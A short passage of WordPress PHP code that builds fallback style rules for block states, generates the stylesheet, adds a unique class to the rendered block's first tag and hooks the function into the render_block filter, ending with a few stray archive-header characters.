if ( ! empty( $rule['rules_group'] ) ) {
$fallback_style_rule['rules_group'] = $rule['rules_group'];
}
$style_rules[] = $fallback_style_rule;
}
wp_style_engine_get_stylesheet_from_css_rules(
$style_rules,
array(
'context' => 'block-supports',
'prettify' => false,
)
);
$processor = new WP_HTML_Tag_Processor( $block_content );
if ( $processor->next_tag() ) {
$processor->add_class( $unique_class );
}
return $processor->get_updated_html();
}
add_filter( 'render_block', 'wp_render_block_states_support', 10, 2 );
PK O1]